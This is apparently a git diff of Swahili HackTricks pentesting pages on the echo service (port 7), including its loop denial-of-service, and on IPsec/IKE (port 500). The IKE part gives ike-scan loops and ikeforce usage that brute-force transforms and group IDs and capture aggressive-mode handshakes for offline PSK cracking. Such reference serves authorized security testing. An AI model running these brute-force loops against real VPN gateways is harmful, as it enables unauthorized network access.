Kuna huduma ya echo inayofanya kazi kwenye mwenyeji huu. Huduma ya echo ilikuwa imekusudiwa kwa ajili ya majaribio na kipimo na inaweza kusikiliza kwenye itifaki za TCP na UDP. Seva inarudisha data yoyote inayopokea bila kubadilisha.\
|
Kuna huduma ya kielekezi inayofanya kazi kwenye mwenyeji huyu. Huduma ya kielekezi ilikusudiwa kwa ajili ya majaribio na madhumuni ya kupima na inaweza kusikiliza kwenye itifaki za TCP na UDP. Mfumo hutoa nyuma data yoyote inayopokea, bila kuihariri.\
|
||||||
**Inawezekana kusababisha kukataliwa kwa huduma kwa kuunganisha huduma ya echo kwenye huduma ya echo kwenye kompyuta hiyo hiyo au kompyuta nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, kompyuta zilizoathiriwa zinaweza kuwa nje ya huduma kwa ufanisi.\
|
**Inawezekana kusababisha kukataliwa kwa huduma kwa kuunganisha huduma ya kielekezi kwenye huduma ya kielekezi kwenye mashine hiyo hiyo au nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, mashine zilizoathiriwa zinaweza kuondolewa kwa ufanisi kutoka kwenye huduma.\
|
||||||
Maelezo kutoka [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
Maelezo kutoka [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||||
|
|
||||||
**Bandari ya Chaguo-msingi:** 7/tcp/udp
|
**Bandari ya Kimsingi:** 7/tcp/udp
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
7/udp open echo
|
7/udp open echo
|
||||||
7/tcp open echo
|
7/tcp open echo
|
||||||
```
|
```
|
||||||
## Wasiliana na Huduma ya Echo (UDP)
|
## Wasiliana na huduma ya Echo (UDP)
|
||||||
|
|
||||||
To contact the Echo service using UDP, you can use the `nc` command. The Echo service simply sends back any data it receives.
|
|
||||||
|
|
||||||
To contact the Echo service on a specific port, use the following command:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nc -u <target_ip> <port>
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<target_ip>` with the IP address of the target machine and `<port>` with the desired port number.
|
|
||||||
|
|
||||||
For example, to contact the Echo service on port 1234 of the target machine with IP address 192.168.1.10, use the following command:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nc -u 192.168.1.10 1234
|
|
||||||
```
|
|
||||||
|
|
||||||
Once the connection is established, you can send any data to the Echo service, and it will send the same data back to you.
|
|
||||||
|
|
||||||
To exit the connection, press `Ctrl + C`.
|
|
||||||
```bash
|
```bash
|
||||||
nc -uvn <IP> 7
|
nc -uvn <IP> 7
|
||||||
Hello echo #This is wat you send
|
Hello echo #This is wat you send
|
||||||
|
@ -62,16 +50,22 @@ Hello echo #This is the response
|
||||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||||
|
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,29 +2,37 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Taarifa Msingi
|
## Taarifa Msingi
|
||||||
|
|
||||||
**IPsec** inatambuliwa sana kama teknolojia kuu ya kuhakikisha mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi kwenye lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.
|
**IPsec** inatambuliwa sana kama teknolojia kuu ya kuhakikisha mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi kwenye lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.
|
||||||
|
|
||||||
Kuanzishwa kwa **mkataba wa usalama (SA)** kati ya sehemu mbili hushughulikiwa na **IKE**, ambayo hufanya kazi chini ya kivuli cha ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa:
|
Kuanzishwa kwa **umoja wa usalama (SA)** kati ya sehemu mbili hukamilishwa na **IKE**, ambayo hufanya kazi chini ya bendera ya ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa:
|
||||||
|
|
||||||
- **Hatua ya 1:** Kituo salama huanzishwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Kitufe cha Kwanza-Kushirikishwa (PSK) au vyeti, ikitegemea mode kuu, ambayo inahusisha jozi tatu za ujumbe, au **mode ya kujitokeza**.
|
- **Hatua ya 1:** Kituo salama kinajengwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Neno la Siri lililoshirikishwa (PSK) au vyeti, ikichukua njia ya mode kuu, ambayo inahusisha jozi tatu za ujumbe, au **mode ya kujitokeza**.
|
||||||
- **Hatua ya 1.5:** Ingawa sio lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji wa Kipekee, inathibitisha utambulisho wa mtumiaji anayejaribu kuunganisha kwa kuhitaji jina la mtumiaji na nywila.
|
- **Hatua ya 1.5:** Ingawa sio lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji wa Kipekee, inathibitisha utambulisho wa mtumiaji anayejaribu kuunganisha kwa kuhitaji jina la mtumiaji na nywila.
|
||||||
- **Hatua ya 2:** Hatua hii inajitolea kwa majadiliano ya vigezo vya kuhakikisha data na **ESP** na **AH**. Inaruhusu matumizi ya algorithms tofauti na zile katika Hatua ya 1 kuhakikisha **Usiri wa Mbele Kamili (PFS)**, kuimarisha usalama.
|
- **Hatua ya 2:** Hatua hii inajitolea kwa majadiliano ya vigezo vya kuhakikisha data na **ESP** na **AH**. Inaruhusu matumizi ya algorithms tofauti na zile katika Hatua ya 1 kuhakikisha **Usiri wa Mbele Kamili (PFS)**, kuimarisha usalama.
|
||||||
|
|
||||||
**Bandari ya chaguo:** 500/udp
|
**Bandari ya default:** 500/udp
|
||||||
|
|
||||||
## **Gundua** huduma kwa kutumia nmap
|
## **Gundua** huduma kwa kutumia nmap
|
||||||
```
|
```
|
||||||
|
@ -38,9 +46,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||||
```
|
```
|
||||||
## **Kupata ubadilishaji halali**
|
## **Kupata ubadilishaji halali**
|
||||||
|
|
||||||
Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. **Kila ubadilishaji** una sifa kadhaa kama vile DES au 3DES kama **algoritimu ya kuchipua**, SHA au MD5 kama **algoritimu ya ukweli**, funguo iliyoshirikiwa mapema kama aina ya **uthibitishaji**, Diffie-Hellman 1 au 2 kama algoritimu ya usambazaji wa funguo na sekunde 28800 kama **maisha**.
|
Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. **Kila ubadilishaji** una sifa kadhaa kama vile DES au 3DES kama **algoritimu ya kuchipua**, SHA au MD5 kama **algoritimu ya ukweli**, funguo iliyoshirikiwa mapema kama aina ya **uthibitishaji**, Diffie-Hellman 1 au 2 kama algoritimu ya kugawa funguo na sekunde 28800 kama **maisha**.
|
||||||
|
|
||||||
Kwa hivyo, jambo la kwanza unalopaswa kufanya ni **kupata ubadilishaji halali**, ili server itazungumza nawe. Kufanya hivyo, unaweza kutumia zana ya **ike-scan**. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja na **ubadilishaji nane ndani yake**.
|
Kwa hivyo, jambo la kwanza unalopaswa kufanya ni **kupata ubadilishaji halali**, ili server itazungumza nawe. Kufanya hivyo, unaweza kutumia zana ya **ike-scan**. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja lenye **ubadilishaji nane ndani yake**.
|
||||||
|
|
||||||
Kulingana na majibu unaweza kupata habari fulani kuhusu mwisho wa mawasiliano:
|
Kulingana na majibu unaweza kupata habari fulani kuhusu mwisho wa mawasiliano:
|
||||||
```
|
```
|
||||||
|
@ -53,29 +61,29 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||||||
|
|
||||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||||
```
|
```
|
||||||
Kama unavyoona kwenye jibu lililopita, kuna uga unaitwa **AUTH** wenye thamani ya **PSK**. Hii inamaanisha kuwa vpn imeboreshwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta).\
|
Kama unavyoona kwenye jibu lililopita, kuna uga unaoitwa **AUTH** wenye thamani ya **PSK**. Hii inamaanisha kuwa vpn imeboreshwa kwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta).\
|
||||||
**Thamani ya mstari wa mwisho pia ni muhimu sana:**
|
**Thamani ya mstari wa mwisho pia ni muhimu sana:**
|
||||||
|
|
||||||
* _0 returned handshake; 0 returned notify:_ Hii inamaanisha lengo si **geti la IPsec**.
|
* _0 returned handshake; 0 returned notify:_ Hii inamaanisha lengo si **geti la IPsec**.
|
||||||
* _**1 returned handshake; 0 returned notify:**_ Hii inamaanisha kuwa **lengo limeboreshwa kwa IPsec na iko tayari kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika** (mabadiliko sahihi yataonyeshwa kwenye matokeo).
|
* _**1 returned handshake; 0 returned notify:**_ Hii inamaanisha **lengo limeboreshwa kwa IPsec na iko tayari kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika** (mabadiliko sahihi yataonyeshwa kwenye matokeo).
|
||||||
* _0 returned handshake; 1 returned notify:_ Geti za VPN hujibu kwa ujumbe wa arifu wakati **hakuna mabadiliko yanayokubalika** (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribiwa).
|
* _0 returned handshake; 1 returned notify:_ Geti za VPN hujibu kwa ujumbe wa arifu wakati **hakuna mabadiliko yanayokubalika** (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribu).
|
||||||
|
|
||||||
Kwa hivyo, katika kesi hii tayari tuna mabadiliko sahihi lakini ikiwa uko kwenye kesi ya 3, basi unahitaji **kufanya jaribio kidogo ili kupata mabadiliko sahihi:**
|
Kwa hivyo, katika kesi hii tayari tuna mabadiliko sahihi lakini ikiwa uko kwenye kesi ya 3, basi unahitaji **kufanya nguvu kidogo ili kupata mabadiliko sahihi:**
|
||||||
|
|
||||||
Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana:
|
Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana:
|
||||||
```bash
|
```bash
|
||||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||||
```
|
```
|
||||||
Na kisha jaribu kila moja kwa kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):
|
Na kisha jaribu kuvunja kila moja kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||||
```
|
```
|
||||||
Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza kujaribu jaribio hilo hilo la nguvu lakini ukitumia mode ya kushambulia:
|
Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza kujaribu nguvu ile ile lakini ukitumia mode ya kushambulia:
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||||
```
|
```
|
||||||
Natumai **ubadilishaji halali unarudishwa**.\
|
Natumai **ubadilishaji halali unarudishwa**.\
|
||||||
Unaweza jaribu **shambulio sawa** ukitumia [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
Unaweza jaribu **shambulio sawa** kutumia [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||||
Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||||
```bash
|
```bash
|
||||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||||
|
@ -85,15 +93,15 @@ Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na [**ikeforce**](https://g
|
||||||
Katika **Kikundi cha DH: 14 = MODP ya biti 2048** na **15 = biti 3072**\
|
Katika **Kikundi cha DH: 14 = MODP ya biti 2048** na **15 = biti 3072**\
|
||||||
**2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa `--trans` ni $Enc,$Hash,$Auth,$DH**
|
**2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa `--trans` ni $Enc,$Hash,$Auth,$DH**
|
||||||
|
|
||||||
Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja** encryption ya data inayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja codes haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyofichwa kwa wakati halisi ikiwa inatumia kikundi ambacho sio imara (kama 1,024-bit au chini).
|
Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja** neno la siri la data inayotumia vikundi dhaifu hivi. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja nambari haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyosimbwa wakati halisi ikiwa inatumia kikundi dhaifu (kama vile biti 1,024 au chini).
|
||||||
|
|
||||||
### Uchunguzi wa Fingerprint ya Seva
|
### Uchunguzi wa Alama ya Seva
|
||||||
|
|
||||||
Kisha, unaweza kutumia ike-scan kujaribu **kugundua muuzaji** wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita **chambua** **tofauti ya wakati** kati ya **ujumbe uliopokelewa** kutoka kwa seva na mfano wa majibu yanayolingana, mchunguzi wa usalama anaweza kufanikiwa kugundua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **malipo ya Kitambulisho cha Muuzaji (VID) ya hiari** na IKE.
|
Kisha, unaweza kutumia ike-scan kujaribu **kugundua muuzaji** wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita **chambua** tofauti ya **wakati** kati ya **ujumbe** uliopokelewa kutoka kwa seva na mfano wa majibu yanayolingana, mpentesta anaweza kufanikiwa kutambua alama ya muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **malipo ya Kitambulisho cha Muuzaji (VID)** ya hiari pamoja na IKE.
|
||||||
|
|
||||||
**Taja uongofu halali ikiwa ni lazima** (kutumia --trans)
|
**Taja uongofu halali ikihitajika** (kutumia --trans)
|
||||||
|
|
||||||
Ikiwa IKE itagundua ni muuzaji yupi, itachapisha hilo:
|
Iki IKE itagundua ni muuzaji yupi, itachapisha hii:
|
||||||
```
|
```
|
||||||
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
||||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||||
|
@ -113,7 +121,7 @@ IP Address No. Recv time Delta Time
|
||||||
|
|
||||||
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
||||||
```
|
```
|
||||||
Hii inaweza pia kufanikishwa na skripti ya nmap _**ike-version**_
|
Hii inaweza pia kufanikishwa na script ya nmap _**ike-version**_
|
||||||
|
|
||||||
## Kupata ID sahihi (jina la kikundi)
|
## Kupata ID sahihi (jina la kikundi)
|
||||||
|
|
||||||
|
@ -130,13 +138,13 @@ Ikiwa **hashi haijarejeshwa**, basi labda njia hii ya kufanya nguvu kazi itafany
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (110).png>)
|
![](<../.gitbook/assets/image (110).png>)
|
||||||
|
|
||||||
Lakini ikiwa kama nilivyosema, hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu kazi ya majina ya vikundi vya kawaida kwa kutumia ike-scan.
|
Lakini kama nilivyosema, ikiwa hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu kazi ya majina ya vikundi vya kawaida kwa kutumia ike-scan.
|
||||||
|
|
||||||
Script hii **itajaribu kufanya nguvu kazi ya vitambulisho vinavyowezekana** na itarejesha vitambulisho ambapo mkono wa salamu halali unarejeshwa (hii itakuwa jina halali la kikundi).
|
Script hii **itajaribu kufanya nguvu kazi ya vitambulisho vinavyowezekana** na itarejesha vitambulisho ambapo mkono wa salamu halali unarejeshwa (hii itakuwa jina halali la kikundi).
|
||||||
|
|
||||||
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ike-scan. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja wapo ifanye kazi vizuri).
|
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ike-scan. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja wapo ifanye kazi vizuri).
|
||||||
|
|
||||||
Unaweza kutumia [kamusi ya ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) au [ile katika seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) ya majina ya kikundi cha kawaida kufanya nguvu kazi:
|
Unaweza kutumia [kamusi ya ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) au [ile katika seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) ya majina ya kikundi ya kawaida kufanya nguvu kazi:
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||||
```
|
```
|
||||||
|
@ -146,14 +154,14 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
|
||||||
|
|
||||||
### Kuvunja ID kwa ikeforce
|
### Kuvunja ID kwa ikeforce
|
||||||
|
|
||||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo kinachoweza kutumika kwa **kuvunja nguvu IDs pia**. Chombo hiki kitajaribu **kutumia mapungufu tofauti** ambayo yanaweza kutumika **kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana).
|
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo kinachoweza kutumika kwa **kuvunja nguvu IDs pia**. Chombo hiki kitajaribu **kutumia mapungufu tofauti** ambayo yanaweza kutumiwa **kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana).
|
||||||
|
|
||||||
Kwa chaguo-msingi **ikeforce** itatuma mwanzoni baadhi ya vitambulisho vya kubahatisha kuchunguza tabia ya seva na kubaini mkakati wa kutumia.
|
Kwa chaguo-msingi **ikeforce** itatuma mwanzoni baadhi ya vitambulisho vya kubahatisha kuchunguza tabia ya seva na kubaini mkakati wa kutumia.
|
||||||
|
|
||||||
* **Njia ya kwanza** ni kuvunja nguvu majina ya vikundi kwa **kutafuta** habari ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kikundi ni sahihi).
|
* **Njia ya kwanza** ni kuvunja nguvu majina ya vikundi kwa **kutafuta** habari za **Dead Peer Detection DPD** za mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kundi ni sahihi).
|
||||||
* **Njia ya pili** inapatikana ni **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika.
|
* **Njia ya pili** inapatikana ni **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika.
|
||||||
* **Njia ya tatu** inajumuisha **kutafuta "INVALID-ID-INFORMATION" kama jibu kwa ID isiyo sahihi**.
|
* **Njia ya tatu** inajumuisha **kutafuta "INVALID-ID-INFORMATION" kama jibu kwa ID isiyo sahihi**.
|
||||||
* Hatimaye, ikiwa seva haionyeshi chochote kwa uchunguzi, **ikeforce** itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani.\
|
* Hatimaye, ikiwa seva haionyeshi chochote kwa ukaguzi, **ikeforce** itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani.\
|
||||||
